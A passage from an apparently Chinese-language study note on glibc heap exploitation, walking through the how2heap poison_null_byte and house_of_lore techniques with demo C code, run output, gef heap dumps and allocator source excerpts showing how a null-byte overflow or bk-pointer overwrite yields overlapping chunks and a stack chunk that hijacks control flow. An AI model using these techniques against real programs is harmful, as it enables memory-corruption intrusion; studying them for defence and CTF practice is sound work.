+    a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
+    fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
+    fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
+
+    fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
+    b1 = malloc(0x80);
+    memset(b1, 'A', 0x80);
+    fprintf(stderr, "We malloc 'b1': %p\n", b1);
+    fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr);
+    fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4));
+
+    b2 = malloc(0x40);
+    memset(b2, 'A', 0x40);
+    fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2);
+
+    // deal with tcache
+    // for (i = 0; i < 7; i++) {
+    //     k[i] = malloc(0x80);
+    // }
+    // for (i = 0; i < 7; i++) {
+    //     free(k[i]);
+    // }
+    free(b1);
+    free(c);
+    fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
+
+    d = malloc(0x110);
+    fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d);
+
+    fprintf(stderr, "b2 content:%s\n", b2);
+    memset(d, 'B', 0xb0);
+    fprintf(stderr, "New b2 content:%s\n", b2);
+}
+$ gcc -g poison_null_byte.c
+$ ./a.out
+We allocate 0x10 bytes for 'a': 0xabb010
+'real' size of 'a': 0x18
+b: 0xabb030
+c: 0xabb140
+b.size: 0x111 ((0x100 + 0x10) | prev_in_use)
+
+After free(b), c.prev_size: 0x110
+We overflow 'a' with a single null byte into the metadata of 'b'
+b.size: 0x100
+
+Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))
+We malloc 'b1': 0xabb030
+c.prev_size: 0x110
+fake c.prev_size: 0x70
+
+We malloc 'b2', our 'victim' chunk: 0xabb0c0
+Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
+Finally, we allocate 'd', overlapping 'b2': 0xabb030
+
+b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+

该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。通过溢出下一个 chunk 的 size 字段,攻击者能够在堆中创造出重叠的内存块,从而达到改写其他数据的目的。再结合其他的利用方式,同样能够获得程序的控制权。

+

对于单字节溢出的利用有下面几种:

+
    +
  • 扩展被释放块:当溢出块的下一块为被释放块且处于 unsorted bin 中,则通过溢出一个字节来将其大小扩大,下次取得次块时就意味着其后的块将被覆盖而造成进一步的溢出
  • +
+
  0x100   0x100    0x80
+|-------|-------|-------|
+|   A   |   B   |   C   |   初始状态
+|-------|-------|-------|
+|   A   |   B   |   C   |   释放 B
+|-------|-------|-------|
+|   A   |   B   |   C   |   溢出 B 的 size 为 0x180
+|-------|-------|-------|
+|   A   |   B   |   C   |   malloc(0x180-8)
+|-------|-------|-------|   C 块被覆盖
+        |<--实际得到的块->|
+
+
    +
  • 扩展已分配块:当溢出块的下一块为使用中的块,则需要合理控制溢出的字节,使其被释放时的合并操作能够顺利进行,例如直接加上下一块的大小使其完全被覆盖。下一次分配对应大小时,即可取得已经被扩大的块,并造成进一步溢出
  • +
+
  0x100   0x100    0x80
+|-------|-------|-------|
+|   A   |   B   |   C   |   初始状态
+|-------|-------|-------|
+|   A   |   B   |   C   |   溢出 B 的 size 为 0x180
+|-------|-------|-------|
+|   A   |   B   |   C   |   释放 B
+|-------|-------|-------|
+|   A   |   B   |   C   |   malloc(0x180-8)
+|-------|-------|-------|   C 块被覆盖
+        |<--实际得到的块->|
+
+
    +
  • 收缩被释放块:此情况针对溢出的字节只能为 0 的时候,也就是本节所说的 poison-null-byte,此时将下一个被释放的块大小缩小,如此一来在之后分裂此块时将无法正确更新后一块的 prev_size 字段,导致释放时出现重叠的堆块
  • +
+
  0x100     0x210     0x80
+|-------|---------------|-------|
+|   A   |       B       |   C   |   初始状态
+|-------|---------------|-------|
+|   A   |       B       |   C   |   释放 B
+|-------|---------------|-------|
+|   A   |       B       |   C   |   溢出 B 的 size 为 0x200
+|-------|---------------|-------|   之后的 malloc 操作没有更新 C 的 prev_size
+         0x100  0x80
+|-------|------|-----|--|-------|
+|   A   |  B1  | B2  |  |   C   |   malloc(0x180-8), malloc(0x80-8)
+|-------|------|-----|--|-------|
+|   A   |  B1  | B2  |  |   C   |   释放 B1
+|-------|------|-----|--|-------|
+|   A   |  B1  | B2  |  |   C   |   释放 C,C 将与 B1 合并
+|-------|------|-----|--|-------|  
+|   A   |  B1  | B2  |  |   C   |   malloc(0x180-8)
+|-------|------|-----|--|-------|   B2 将被覆盖
+        |<实际得到的块>|
+
+
    +
  • house of einherjar:也是溢出字节只能为 0 的情况,当它是更新溢出块下一块的 prev_size 字段,使其在被释放时能够找到之前一个合法的被释放块并与其合并,造成堆块重叠
  • +
+
  0x100   0x100   0x101
+|-------|-------|-------|
+|   A   |   B   |   C   |   初始状态
+|-------|-------|-------|
+|   A   |   B   |   C   |   释放 A
+|-------|-------|-------|
+|   A   |   B   |   C   |   溢出 B,覆盖 C 块的 size 为 0x200,并使其 prev_size 为 0x200
+|-------|-------|-------|
+|   A   |   B   |   C   |   释放 C
+|-------|-------|-------|
+|   A   |   B   |   C   |   C 将与 A 合并
+|-------|-------|-------|   B 块被重叠
+|<-----实际得到的块------>|
+
+

首先分配三个 chunk,第一个 chunk 类型无所谓,但后两个不能是 fast chunk,因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出,去覆盖 chunk b 的第一个字节,chunk c 的作用是帮助伪造 fake chunk。

+

首先是溢出,那么就需要知道一个堆块实际可用的内存大小(因为空间复用,可能会比分配时要大一点),用于获得该大小的函数 malloc_usable_size 如下:

+
/*
+   ------------------------- malloc_usable_size -------------------------
+ */
+static size_t
+musable (void *mem)
+{
+  mchunkptr p;
+  if (mem != 0)
+    {
+      p = mem2chunk (mem);
+
+      [...]
+      if (chunk_is_mmapped (p))
+        return chunksize (p) - 2 * SIZE_SZ;
+      else if (inuse (p))
+        return chunksize (p) - SIZE_SZ;
+    }
+  return 0;
+}
+/* check for mmap()'ed chunk */
+#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
+/* extract p's inuse bit */
+#define inuse(p)                                  \
+  ((((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE)
+/* Get size, ignoring use bits */
+#define chunksize(p)         ((p)->size & ~(SIZE_BITS))
+
+

所以 real_a_size = chunksize(a) - 0x8 == 0x18。另外需要注意的是程序是通过 next chunk 的 PREV_INUSE 标志来判断某 chunk 是否被使用的。

+

为了在修改 chunk b 的 size 字段后,依然能通过 unlink 的检查,我们需要伪造一个 c.prev_size 字段,字段的大小是很好计算的,即 0x100 == (0x111 & 0xff00),正好是 NULL 字节溢出后的值。然后把 chunk b 释放掉,chunk b 随后被放到 unsorted bin 中,大小是 0x110。此时的堆布局如下:

+
gef➤  x/42gx a-0x10
+0x603000:    0x0000000000000000    0x0000000000000021  <-- chunk a
+0x603010:    0x0000000000000000    0x0000000000000000
+0x603020:    0x0000000000000000    0x0000000000000111  <-- chunk b [be freed]
+0x603030:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      <-- fd, bk pointer
+0x603040:    0x0000000000000000    0x0000000000000000
+0x603050:    0x0000000000000000    0x0000000000000000
+0x603060:    0x0000000000000000    0x0000000000000000
+0x603070:    0x0000000000000000    0x0000000000000000
+0x603080:    0x0000000000000000    0x0000000000000000
+0x603090:    0x0000000000000000    0x0000000000000000
+0x6030a0:    0x0000000000000000    0x0000000000000000
+0x6030b0:    0x0000000000000000    0x0000000000000000
+0x6030c0:    0x0000000000000000    0x0000000000000000
+0x6030d0:    0x0000000000000000    0x0000000000000000
+0x6030e0:    0x0000000000000000    0x0000000000000000
+0x6030f0:    0x0000000000000000    0x0000000000000000
+0x603100:    0x0000000000000000    0x0000000000000000
+0x603110:    0x0000000000000000    0x0000000000000000
+0x603120:    0x0000000000000100    0x0000000000000000      <-- fake c.prev_size
+0x603130:    0x0000000000000110    0x0000000000000090  <-- chunk c
+0x603140:    0x0000000000000000    0x0000000000000000
+gef➤  heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
+ →   Chunk(addr=0x603030, size=0x110, flags=PREV_INUSE)
+
+

最关键的一步,通过溢出漏洞覆写 chunk b 的数据:

+
gef➤  x/42gx a-0x10
+0x603000:    0x0000000000000000    0x0000000000000021  <-- chunk a
+0x603010:    0x0000000000000000    0x0000000000000000
+0x603020:    0x0000000000000000    0x0000000000000100  <-- chunk b [be freed]
+0x603030:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      <-- fd, bk pointer
+0x603040:    0x0000000000000000    0x0000000000000000
+0x603050:    0x0000000000000000    0x0000000000000000
+0x603060:    0x0000000000000000    0x0000000000000000
+0x603070:    0x0000000000000000    0x0000000000000000
+0x603080:    0x0000000000000000    0x0000000000000000
+0x603090:    0x0000000000000000    0x0000000000000000
+0x6030a0:    0x0000000000000000    0x0000000000000000
+0x6030b0:    0x0000000000000000    0x0000000000000000
+0x6030c0:    0x0000000000000000    0x0000000000000000
+0x6030d0:    0x0000000000000000    0x0000000000000000
+0x6030e0:    0x0000000000000000    0x0000000000000000
+0x6030f0:    0x0000000000000000    0x0000000000000000
+0x603100:    0x0000000000000000    0x0000000000000000
+0x603110:    0x0000000000000000    0x0000000000000000
+0x603120:    0x0000000000000100    0x0000000000000000      <-- fake c.prev_size
+0x603130:    0x0000000000000110    0x0000000000000090  <-- chunk c
+0x603140:    0x0000000000000000    0x0000000000000000
+gef➤  heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
+ →   Chunk(addr=0x603030, size=0x100, flags=)
+
+

这时,根据我们上一篇文字中讲到的计算方法:

+
    +
  • chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x100
  • +
  • prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x100) == 0x100
  • +
+

可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x100。

+

接下来随意分配两个 chunk,malloc 会从 unsorted bin 中划出合适大小的内存返回给用户:

+
gef➤  x/42gx a-0x10
+0x603000:    0x0000000000000000    0x0000000000000021  <-- chunk a
+0x603010:    0x0000000000000000    0x0000000000000000
+0x603020:    0x0000000000000000    0x0000000000000091  <-- chunk b1  <-- fake chunk b
+0x603030:    0x4141414141414141    0x4141414141414141
+0x603040:    0x4141414141414141    0x4141414141414141
+0x603050:    0x4141414141414141    0x4141414141414141
+0x603060:    0x4141414141414141    0x4141414141414141
+0x603070:    0x4141414141414141    0x4141414141414141
+0x603080:    0x4141414141414141    0x4141414141414141
+0x603090:    0x4141414141414141    0x4141414141414141
+0x6030a0:    0x4141414141414141    0x4141414141414141
+0x6030b0:    0x0000000000000000    0x0000000000000051  <-- chunk b2  <-- 'victim' chunk
+0x6030c0:    0x4141414141414141    0x4141414141414141
+0x6030d0:    0x4141414141414141    0x4141414141414141
+0x6030e0:    0x4141414141414141    0x4141414141414141
+0x6030f0:    0x4141414141414141    0x4141414141414141
+0x603100:    0x0000000000000000    0x0000000000000021  <-- unsorted bin
+0x603110:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      <-- fd, bk pointer
+0x603120:    0x0000000000000020    0x0000000000000000      <-- fake c.prev_size
+0x603130:    0x0000000000000110    0x0000000000000090  <-- chunk c
+0x603140:    0x0000000000000000    0x0000000000000000
+gef➤  heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
+ →   Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
+
+

这里有个很有趣的东西,分配堆块后,发生变化的是 fake c.prev_size,而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x110 的 free chunk。但其实这片内存已经被分配给了 chunk b1。

+

接下来是见证奇迹的时刻,我们知道,两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1,伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunk c,这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk,然后就将它们合并在了一起,并从 unsorted bin 中取出来合并进了 top chunk。可怜的 chunk 2 位于 chunk b1 和 chunk c 之间,被直接无视了,现在 malloc 认为这整块区域都是未分配的,新的 top chunk 指针已经说明了一切。

+
gef➤  x/42gx a-0x10
+0x603000:    0x0000000000000000    0x0000000000000021  <-- chunk a
+0x603010:    0x0000000000000000    0x0000000000000000
+0x603020:    0x0000000000000000    0x0000000000020fe1  <-- top chunk
+0x603030:    0x0000000000603100    0x00007ffff7dd1b78
+0x603040:    0x4141414141414141    0x4141414141414141
+0x603050:    0x4141414141414141    0x4141414141414141
+0x603060:    0x4141414141414141    0x4141414141414141
+0x603070:    0x4141414141414141    0x4141414141414141
+0x603080:    0x4141414141414141    0x4141414141414141
+0x603090:    0x4141414141414141    0x4141414141414141
+0x6030a0:    0x4141414141414141    0x4141414141414141
+0x6030b0:    0x0000000000000090    0x0000000000000050  <-- chunk b2  <-- 'victim' chunk
+0x6030c0:    0x4141414141414141    0x4141414141414141
+0x6030d0:    0x4141414141414141    0x4141414141414141
+0x6030e0:    0x4141414141414141    0x4141414141414141
+0x6030f0:    0x4141414141414141    0x4141414141414141
+0x603100:    0x0000000000000000    0x0000000000000021  <-- unsorted bin
+0x603110:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      <-- fd, bk pointer
+0x603120:    0x0000000000000020    0x0000000000000000
+0x603130:    0x0000000000000110    0x0000000000000090
+0x603140:    0x0000000000000000    0x0000000000000000
+gef➤  heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
+ →   Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
+
+

chunk 合并的过程如下,首先该 chunk 与前一个 chunk 合并,然后检查下一个 chunk 是否为 top chunk,如果不是,将合并后的 chunk 放回 unsorted bin 中,否则,合并进 top chunk:

+
    /* consolidate backward */
+    if (!prev_inuse(p)) {
+      prevsize = p->prev_size;
+      size += prevsize;
+      p = chunk_at_offset(p, -((long) prevsize));
+      unlink(av, p, bck, fwd);
+    }
+
+    if (nextchunk != av->top) {
+    /*
+  Place the chunk in unsorted chunk list. Chunks are
+  not placed into regular bins until after they have
+  been given one chance to be used in malloc.
+    */
+      [...]
+    }
+
+    /*
+      If the chunk borders the current high end of memory,
+      consolidate into top
+    */
+
+    else {
+      size += nextsize;
+      set_head(p, size | PREV_INUSE);
+      av->top = p;
+      check_chunk(av, p);
+    }
+
+

接下来,申请一块大空间,大到可以把 chunk b2 包含进来,这样 chunk b2 就完全被我们控制了。

+
gef➤  x/42gx a-0x10
+0x603000:    0x0000000000000000    0x0000000000000021  <-- chunk a
+0x603010:    0x0000000000000000    0x0000000000000000
+0x603020:    0x0000000000000000    0x0000000000000121  <-- chunk d
+0x603030:    0x4242424242424242    0x4242424242424242
+0x603040:    0x4242424242424242    0x4242424242424242
+0x603050:    0x4242424242424242    0x4242424242424242
+0x603060:    0x4242424242424242    0x4242424242424242
+0x603070:    0x4242424242424242    0x4242424242424242
+0x603080:    0x4242424242424242    0x4242424242424242
+0x603090:    0x4242424242424242    0x4242424242424242
+0x6030a0:    0x4242424242424242    0x4242424242424242
+0x6030b0:    0x4242424242424242    0x4242424242424242  <-- chunk b2  <-- 'victim' chunk
+0x6030c0:    0x4242424242424242    0x4242424242424242
+0x6030d0:    0x4242424242424242    0x4242424242424242
+0x6030e0:    0x4141414141414141    0x4141414141414141
+0x6030f0:    0x4141414141414141    0x4141414141414141
+0x603100:    0x0000000000000000    0x0000000000000021  <-- small bins
+0x603110:    0x00007ffff7dd1b88    0x00007ffff7dd1b88      <-- fd, bk pointer
+0x603120:    0x0000000000000020    0x0000000000000000
+0x603130:    0x0000000000000110    0x0000000000000090
+0x603140:    0x0000000000000000    0x0000000000020ec1  <-- top chunk
+gef➤  heap bins small
+[ Small Bins for arena 'main_arena' ]
+[+] small_bins[1]: fw=0x603100, bk=0x603100
+ →   Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
+
+

还有个事情值得注意,在分配 chunk d 时,由于在 unsorted bin 中没有找到适合的 chunk,malloc 就将 unsorted bin 中的 chunk 都整理回各自的 bins 中了,这里就是 small bins。

+

最后,继续看 libc-2.26 上的情况,还是一样的,处理好 tchache 就可以了,把两种大小的 tcache bin 都占满。

+

heap-buffer-overflow,但不知道为什么,加了内存检测参数后,real size 只能是正常的 0x10 了。

+
$ gcc -fsanitize=address -g poison_null_byte.c
+$ ./a.out
+We allocate 0x10 bytes for 'a': 0x60200000eff0
+'real' size of 'a': 0x10
+b: 0x611000009f00
+c: 0x60c00000bf80
+=================================================================
+==2369==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000009ef8 at pc 0x000000400be0 bp 0x7ffe7826e9a0 sp 0x7ffe7826e990
+READ of size 8 at 0x611000009ef8 thread T0
+    #0 0x400bdf in main /home/firmy/how2heap/poison_null_byte.c:22
+    #1 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+    #2 0x400978 in _start (/home/firmy/how2heap/a.out+0x400978)
+
+0x611000009ef8 is located 8 bytes to the left of 256-byte region [0x611000009f00,0x61100000a000)
+allocated by thread T0 here:
+    #0 0x7f47d9425602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
+    #1 0x400af1 in main /home/firmy/how2heap/poison_null_byte.c:15
+    #2 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+
+

house_of_lore

+
#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+
+void jackpot(){ puts("Nice jump d00d"); exit(0); }
+
+int main() {
+    intptr_t *victim = malloc(0x80);
+    memset(victim, 'A', 0x80);
+    void *p5 = malloc(0x10);
+    memset(p5, 'A', 0x10);
+    intptr_t *victim_chunk = victim - 2;
+    fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);
+
+    intptr_t* stack_buffer_1[4] = {0};
+    intptr_t* stack_buffer_2[3] = {0};
+    stack_buffer_1[0] = 0;
+    stack_buffer_1[2] = victim_chunk;
+    stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
+    stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
+    fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
+    fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);
+
+    free((void*)victim);
+    fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
+    fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
+    fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
+
+    void *p2 = malloc(0x100);
+    fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
+    fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
+    fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
+    fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
+
+    victim[1] = (intptr_t)stack_buffer_1;
+    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
+
+    void *p3 = malloc(0x40);
+    char *p4 = malloc(0x80);
+    memset(p4, 'A', 0x10);
+    fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
+    fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);
+
+    intptr_t sc = (intptr_t)jackpot;
+    memcpy((p4+40), &sc, 8);
+}
+$ gcc -g house_of_lore.c
+$ ./a.out
+Allocated the victim (small) chunk: 0x1b2e010
+stack_buffer_1: 0x7ffe5c570350
+stack_buffer_2: 0x7ffe5c570330
+
+Freeing the victim chunk 0x1b2e010, it will be inserted in the unsorted bin
+victim->fd: 0x7f239d4c9b78
+victim->bk: 0x7f239d4c9b78
+
+Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x1b2e0c0
+The victim chunk 0x1b2e010 will be inserted in front of the SmallBin
+victim->fd: 0x7f239d4c9bf8
+victim->bk: 0x7f239d4c9bf8
+
+Now emulating a vulnerability that can overwrite the victim->bk pointer
+This last malloc should return a chunk at the position injected in bin->bk: 0x7ffe5c570360
+The fd pointer of stack_buffer_2 has changed: 0x7f239d4c9bf8
+
+Nice jump d00d
+
+

在前面的技术中,我们已经知道怎样去伪造一个 fake chunk,接下来,我们要尝试伪造一条 small bins 链。

+

首先创建两个 chunk,第一个是我们的 victim chunk,请确保它是一个 small chunk,第二个随意,只是为了确保在 free 时 victim chunk 不会被合并进 top chunk 里。然后,在栈上伪造两个 fake chunk,让 fake chunk 1 的 fd 指向 victim chunk,bk 指向 fake chunk 2;fake chunk 2 的 fd 指向 fake chunk 1,这样一个 small bin 链就差不多了:

+
gef➤  x/26gx victim-2
+0x603000:    0x0000000000000000    0x0000000000000091  <-- victim chunk
+0x603010:    0x4141414141414141    0x4141414141414141
+0x603020:    0x4141414141414141    0x4141414141414141
+0x603030:    0x4141414141414141    0x4141414141414141
+0x603040:    0x4141414141414141    0x4141414141414141
+0x603050:    0x4141414141414141    0x4141414141414141
+0x603060:    0x4141414141414141    0x4141414141414141
+0x603070:    0x4141414141414141    0x4141414141414141
+0x603080:    0x4141414141414141    0x4141414141414141
+0x603090:    0x0000000000000000    0x0000000000000021  <-- chunk p5
+0x6030a0:    0x4141414141414141    0x4141414141414141
+0x6030b0:    0x0000000000000000    0x0000000000020f51  <-- top chunk
+0x6030c0:    0x0000000000000000    0x0000000000000000
+gef➤  x/10gx &stack_buffer_2
+0x7fffffffdc30:    0x0000000000000000    0x0000000000000000  <-- fake chunk 2
+0x7fffffffdc40:    0x00007fffffffdc50    0x0000000000400aed      <-- fd->fake chunk 1
+0x7fffffffdc50:    0x0000000000000000    0x0000000000000000  <-- fake chunk 1
+0x7fffffffdc60:    0x0000000000603000    0x00007fffffffdc30      <-- fd->victim chunk, bk->fake chunk 2
+0x7fffffffdc70:    0x00007fffffffdd60    0x7c008088c400bc00
+
+

molloc 中对于 small bin 链表的检查是这样的:

+
          [...]
+
+          else
+            {
+              bck = victim->bk;
+    if (__glibc_unlikely (bck->fd != victim))
+                {
+                  errstr = "malloc(): smallbin double linked list corrupted";
+                  goto errout;
+                }
+              set_inuse_bit_at_offset (victim, nb);
+              bin->bk = bck;
+              bck->fd = bin;
+
+              [...]
+
+

即检查 bin 中第二块的 bk 指针是否指向第一块,来发现对 small bins 的破坏。为了绕过这个检查,所以才需要同时伪造 bin 中的前 2 个 chunk。

+

接下来释放掉 victim chunk,它会被放到 unsoted bin 中,且 fd/bk 均指向 unsorted bin 的头部:

+
gef➤  x/26gx victim-2
+0x603000:    0x0000000000000000    0x0000000000000091  <-- victim chunk [be freed]
+0x603010:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      <-- fd, bk pointer
+0x603020:    0x4141414141414141    0x4141414141414141
+0x603030:    0x4141414141414141    0x4141414141414141
+0x603040:    0x4141414141414141    0x4141414141414141
+0x603050:    0x4141414141414141    0x4141414141414141
+0x603060:    0x4141414141414141    0x4141414141414141
+0x603070:    0x4141414141414141    0x4141414141414141
+0x603080:    0x4141414141414141    0x4141414141414141
+0x603090:    0x0000000000000090    0x0000000000000020  <-- chunk p5
+0x6030a0:    0x4141414141414141    0x4141414141414141
+0x6030b0:    0x0000000000000000    0x0000000000020f51  <-- top chunk
+0x6030c0:    0x0000000000000000    0x0000000000000000
+gef➤  heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x603000, bk=0x603000
+ →   Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)
+
+

这时,申请一块大的 chunk,只需要大到让 malloc 在 unsorted bin 中找不到合适的就可以了。这样原本在 unsorted bin 中的 chunk,会被整理回各自的所属的 bins 中,这里就是 small bins:

+
gef➤  heap bins small
+[ Small Bins for arena 'main_arena' ]
+[+] small_bins[8]: fw=0x603000, bk=0x603000
+ →   Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)
+
+

接下来是最关键的一步,假设存在一个漏洞,可以让我们修改 victim chunk 的 bk 指针。那么就修改 bk 让它指向我们在栈上布置的 fake small bin:

+
gef➤  x/26gx victim-2
+0x603000:    0x0000000000000000    0x0000000000000091  <-- victim chunk [be freed]
+0x603010:    0x00007ffff7dd1bf8    0x00007fffffffdc50      <-- bk->fake chunk 1
+0x603020:    0x4141414141414141    0x4141414141414141
+0x603030:    0x4141414141414141    0x4141414141414141
+0x603040:    0x4141414141414141    0x4141414141414141
+0x603050:    0x4141414141414141    0x4141414141414141
+0x603060:    0x4141414141414141    0x4141414141414141
+0x603070:    0x4141414141414141    0x4141414141414141
+0x603080:    0x4141414141414141    0x4141414141414141
+0x603090:    0x0000000000000090    0x0000000000000020  <-- chunk p5
+0x6030a0:    0x4141414141414141    0x4141414141414141
+0x6030b0:    0x0000000000000000    0x0000000000000111  <-- chunk p2
+0x6030c0:    0x0000000000000000    0x0000000000000000
+gef➤  x/10gx &stack_buffer_2
+0x7fffffffdc30:    0x0000000000000000    0x0000000000000000  <-- fake chunk 2
+0x7fffffffdc40:    0x00007fffffffdc50    0x0000000000400aed      <-- fd->fake chunk 1
+0x7fffffffdc50:    0x0000000000000000    0x0000000000000000  <-- fake chunk 1
+0x7fffffffdc60:    0x0000000000603000    0x00007fffffffdc30     <-- fd->victim chunk, bk->fake chunk 2
+0x7fffffffdc70:    0x00007fffffffdd60    0x7c008088c400bc00
+
+

我们知道 small bins 是先进后出的,节点的增加发生在链表头部,而删除发生在尾部。这时整条链是这样的:

+
HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> victim chunk <-> TAIL
+
+fd: ->
+bk: <-
+
+

fake chunk 2 的 bk 指向了一个未定义的地址,如果能通过内存泄露等手段,拿到 HEAD 的地址并填进去,整条链就闭合了。当然这里完全没有必要这么做。

+

接下来的第一个 malloc,会返回 victim chunk 的地址,如果 malloc 的大小正好等于 victim chunk 的大小,那么情况会简单一点。但是这里我们不这样做,malloc 一个小一点的地址,可以看到,malloc 从 small bin 里取出了末尾的 victim chunk,切了一块返回给 chunk p3,然后把剩下的部分放回到了 unsorted bin。同时 small bin 变成了这样:

+
HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> TAIL
+gef➤  x/26gx victim-2
+0x603000:    0x0000000000000000    0x0000000000000051  <-- chunk p3
+0x603010:    0x00007ffff7dd1bf8    0x00007fffffffdc50
+0x603020:    0x4141414141414141    0x4141414141414141
+0x603030:    0x4141414141414141    0x4141414141414141
+0x603040:    0x4141414141414141    0x4141414141414141
+0x603050:    0x4141414141414141    0x0000000000000041  <-- unsorted bin
+0x603060:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      <-- fd, bk pointer
+0x603070:    0x4141414141414141    0x4141414141414141
+0x603080:    0x4141414141414141    0x4141414141414141
+0x603090:    0x0000000000000040    0x0000000000000020  <-- chunk p5
+0x6030a0:    0x4141414141414141    0x4141414141414141
+0x6030b0:    0x0000000000000000    0x0000000000000111  <-- chunk p2
+0x6030c0:    0x0000000000000000    0x0000000000000000
+gef➤  x/10gx &stack_buffer_2
+0x7fffffffdc30:    0x0000000000000000    0x0000000000000000  <-- fake chunk 2
+0x7fffffffdc40:    0x00007fffffffdc50    0x0000000000400aed      <-- fd->fake chunk 1
+0x7fffffffdc50:    0x0000000000000000    0x0000000000000000  <-- fake chunk 1
+0x7fffffffdc60:    0x00007ffff7dd1bf8    0x00007fffffffdc30      <-- fd->TAIL, bk->fake chunk 2
+0x7fffffffdc70:    0x00007fffffffdd60    0x7c008088c400bc00
+gef➤  heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x603050, bk=0x603050
+ →   Chunk(addr=0x603060, size=0x40, flags=PREV_INUSE)
+
+

最后,再次 malloc 将返回 fake chunk 1 的地址,地址在栈上且我们能够控制。同时 small bin 变成这样:

+
HEAD(undefined) <-> fake chunk 2 <-> TAIL
+gef➤  x/10gx &stack_buffer_2
+0x7fffffffdc30:    0x0000000000000000    0x0000000000000000  <-- fake chunk 2
+0x7fffffffdc40:    0x00007ffff7dd1bf8    0x0000000000400aed      <-- fd->TAIL
+0x7fffffffdc50:    0x0000000000000000    0x0000000000000000  <-- chunk 4
+0x7fffffffdc60:    0x4141414141414141    0x4141414141414141
+0x7fffffffdc70:    0x00007fffffffdd60    0x7c008088c400bc00
+
+

于是我们就成功地骗过了 malloc 在栈上分配了一个 chunk。

+

最后再想一下,其实最初的 victim chunk 使用 fast chunk 也是可以的,其释放后虽然是被加入到 fast bins 中,而不是 unsorted bin,但 malloc 之后,也会被整理到 small bins 里。自行尝试吧。

+

heap-use-after-free,所以上面我们用于修改 bk 指针的漏洞,应该就是一个 UAF 吧,当然溢出也是可以的:

+
$ gcc -fsanitize=address -g house_of_lore.c
+$ ./a.out
+Allocated the victim (small) chunk: 0x60c00000bf80
+stack_buffer_1: 0x7ffd1fbc5cd0
+stack_buffer_2: 0x7ffd1fbc5c90
+
